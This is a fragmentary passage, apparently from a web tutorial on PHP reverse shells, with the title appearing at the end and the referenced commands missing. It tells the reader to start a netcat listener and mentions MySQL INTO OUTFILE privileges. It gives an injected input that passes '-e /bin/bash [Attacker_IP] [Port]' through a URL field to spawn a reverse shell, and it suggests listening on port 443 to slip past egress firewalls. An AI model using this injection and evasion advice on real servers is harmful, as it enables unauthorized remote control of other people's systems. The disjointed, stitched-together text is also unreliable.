Before executing the PHP script, you must set up a listener on your local machine to catch the incoming connection. Use for this:
Netcat is the Swiss Army knife of networking. Most Unix-like systems (Linux, macOS) have it preinstalled; Windows users can download nc.exe or use ncat from Nmap.
If you have INTO OUTFILE privileges in MySQL:
If an attacker inputs http://target.com -e /bin/bash [Attacker_IP] [Port] , it triggers a reverse shell natively via the server's built-in Netcat utility.
Some Egress (outbound) firewalls block all traffic except for ports 80 and 443. In this case, try setting your listener to port 443.
Understanding Reverse Shells in PHP: Implementation, Risks, and Security Best Practices